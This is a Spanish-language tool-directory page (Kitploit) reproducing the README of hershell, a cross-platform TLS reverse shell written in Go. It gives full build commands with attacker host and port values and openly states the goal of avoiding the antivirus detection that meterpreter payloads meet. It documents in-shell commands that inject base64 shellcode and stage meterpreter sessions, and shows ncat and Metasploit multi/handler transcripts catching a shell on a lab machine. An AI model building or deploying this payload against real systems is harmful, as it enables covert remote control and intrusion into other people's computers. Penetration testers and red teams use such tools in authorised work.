Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/sysdream/hershell
Generación de PayloadsExplotaciónShellcodePost-ExplotaciónPruebas de PenetraciónComando y ControlRed TeamingHerramienta de Acceso Remoto
GitHubsysdream/hershell

hershell

Hershell es un simple reverse shell TCP escrito en Go.

Ver Repositorio
5298616hace 7 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Hershell

NOTA: el proyecto ha sido bifurcado en este repositorio, revise allí para cualquier otro desarrollo.

Hershell es un simple shell reverso TCP escrito en Go.

Utiliza TLS para asegurar las comunicaciones y ofrece una función de fijación de huella digital de clave pública del certificado, evitando la interceptación de tráfico.

Los SO compatibles son:

  • Windows
  • Linux
  • Mac OS
  • FreeBSD y derivados

¿Por qué?

Aunque los payloads de meterpreter son geniales, a veces son detectados por productos antivirus.

El objetivo de este proyecto es obtener un shell reverso simple que pueda funcionar en múltiples sistemas.

¿Cómo?

Ya que está escrito en Go, puedes compilar de forma cruzada el código fuente para la arquitectura deseada.

Primeros pasos y dependencias

Como este es un proyecto Go, necesitarás seguir la documentación oficial para configurar tu entorno Golang (con la variable de entorno $GOPATH).

Luego, simplemente ejecuta go get github.com/sysdream/hershell para obtener el proyecto.

Construyendo el payload

Para simplificar las cosas, puedes usar el Makefile proporcionado. Puedes establecer las siguientes variables de entorno:

  • GOOS : el SO objetivo
  • GOARCH : la arquitectura objetivo
  • LHOST : la IP o nombre de dominio del atacante
  • LPORT : el puerto del listener

Para las variables GOOS y GOARCH, puedes obtener los valores permitidos aquí.

Sin embargo, algunos objetivos auxiliares están disponibles en el Makefile:

  • depends : genera el certificado del servidor (requerido para el shell reverso)
  • windows32 : construye un ejecutable de Windows de 32 bits (PE 32 bits)
  • windows64 : construye un ejecutable de Windows de 64 bits (PE 64 bits)
  • linux32 : construye un ejecutable de Linux de 32 bits (ELF 32 bits)
  • linux64 : construye un ejecutable de Linux de 64 bits (ELF 64 bits)
  • macos32 : construye un ejecutable de Mac OS de 32 bits (Mach-O)
  • macos64 : construye un ejecutable de Mac OS de 64 bits (Mach-O)

Para esos objetivos, solo necesitas establecer las variables de entorno LHOST y LPORT.

Usando el shell

Una vez ejecutado, se te proporcionará un shell remoto. Este shell interactivo personalizado te permitirá ejecutar comandos del sistema a través de cmd.exe en Windows, o /bin/sh en máquinas UNIX.

Se admiten los siguientes comandos especiales:

  • run_shell : te proporciona un shell del sistema (permitiéndote, por ejemplo, cambiar de directorio)
  • inject <base64 shellcode> : inyecta un shellcode (codificado en base64) en la misma memoria del proceso y lo ejecuta (solo Windows por el momento).
  • meterpreter [tcp|http|https] IP:PORT : se conecta a un multi/handler para obtener un meterpreter de etapa 2 reverse tcp, http o https desde metasploit, y ejecuta el shellcode en memoria (solo Windows por el momento)
  • exit : sale correctamente

Uso

En primer lugar, necesitarás generar un certificado válido:

root@kitploit:~
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem

Para windows:

root@kitploit:~
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234

Para Linux:

root@kitploit:~
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234

Para Mac OS X

root@kitploit:~
$ make macos LHOST=192.168.0.12 LPORT=1234

Ejemplos

Uso básico

Se pueden usar varias herramientas para manejar conexiones entrantes, como:

  • socat
  • ncat
  • openssl server module
  • metasploit multi handler (con un payload python/shell_reverse_tcp_ssl)

Aquí hay un ejemplo con ncat:

root@kitploit:~
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab

Meterpreter staging

ADVERTENCIA: esto actualmente solo funciona para la plataforma Windows.

El escalonamiento de meterpreter actualmente admite los siguientes payloads :

  • windows/meterpreter/reverse_tcp
  • windows/x64/meterpreter/reverse_tcp
  • windows/meterpreter/reverse_http
  • windows/x64/meterpreter/reverse_http
  • windows/meterpreter/reverse_https
  • windows/x64/meterpreter/reverse_https

Para usar el correcto, solo especifica el transporte que deseas usar (tcp, http, https)

Para usar la función de escalonamiento de meterpreter, solo inicia tu handler:

root@kitploit:~
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

Luego, en hershell, usa el comando meterpreter:

root@kitploit:~
[hershell]> meterpreter https 172.16.122.105:8443

Una nueva sesión de meterpreter debería aparecer en msfconsole:

root@kitploit:~
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100

[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)

[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab

Créditos

Ronan Kervella <r.kervella -at- sysdream -dot- com>

Descargar herramienta